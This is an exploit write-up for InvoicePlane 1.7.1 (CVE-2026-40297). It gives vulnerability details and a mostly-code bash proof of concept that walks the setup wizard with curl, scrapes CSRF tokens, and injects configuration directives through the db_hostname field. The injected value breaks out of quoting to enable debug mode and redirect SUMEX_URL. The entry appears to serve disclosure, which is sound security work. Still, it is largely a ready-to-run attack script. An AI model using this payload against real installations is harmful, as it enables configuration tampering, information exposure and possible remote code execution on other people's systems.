InvoicePlane 1.7.1 – RCE
# Exploit Title: InvoicePlane 1.7.1 - RCE # Date: 2026-04-10 # Exploit Author: Mustafa Murat Akgül # Vendor Homepage: https://invoiceplane.com/ # Software Link: https://github.com/InvoicePlane/InvoicePlane # Version: 1.7.1 (Patched: 1.7.2) # CVE: CVE-2026-40297 # Advisory: GHSA-ffq5-mw9f-mv6j # Tested on: Linux/Ubuntu (PHP 8.x) Technical Details: A critical configuration injection vulnerability exists in the application’s setup module. The db_hostname parameter is not properly sanitized during installation, allowing attackers to inject arbitrary configuration values. This can lead to environment manipulation, debug mode activation, and potential remote code execution depending on deployment context. Proof of Concept (PoC): The following bash script automates the installation setup flow, extracts the necessary CSRF tokens sequentially, and injects configuration directives through the db_hostname field: #!/bin/bash # Step 1: Initialize session and fetch language page CSRF token curl -s -c /tmp/exploit.txt "http://127.0.0.1/index.php/setup/language" > /dev/null TOKEN1=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/language" \ | grep -oP '(?<=name="_ip_csrf" value=")[^"]*') # Step 2: Submit language step curl -s -b /tmp/exploit.txt -c /tmp/exploit.txt -X POST \ "http://127.0.0.1/index.php/setup/language" \ --data "_ip_csrf=${TOKEN1}&ip_lang=english&btn_continue=Continue" > /dev/null # Step 3: Fetch prerequisites CSRF token TOKEN2=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/prerequisites" \ | grep -oP '(?<=name="_ip_csrf" value=")[^"]*') # Step 4: Submit prerequisites step curl -s -b /tmp/exploit.txt -c /tmp/exploit.txt -X POST \ "http://127.0.0.1/index.php/setup/prerequisites" \ --data "_ip_csrf=${TOKEN2}&btn_continue=Continue" > /dev/null # Step 5: Fetch database configuration CSRF token TOKEN3=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/configure_database" \ | grep -oP '(?<=name="_ip_csrf" value=")[^"]*') # Step 6: Submit payload via db_hostname parameter injection curl -s -b /tmp/exploit.txt -X POST \ "http://127.0.0.1/index.php/setup/configure_database" \ --data-urlencode "_ip_csrf=${TOKEN3}" \ --data-urlencode "db_hostname=localhost' ENABLE_DEBUG=true SUMEX_URL=http://192.168.1.1/ DB_HOSTNAME='localhost" \ --data-urlencode "db_username=ip_user" \ --data-urlencode "db_password=Sifre123!" \ --data-urlencode "db_database=invoiceplane" \ --data-urlencode "db_port=3306" Impact: - Arbitrary configuration injection - Environment variable manipulation - Debug mode activation - Sensitive information exposure risk - Potential remote code execution (depending on deployment configuration) - Full application compromise in worst-case scenarios |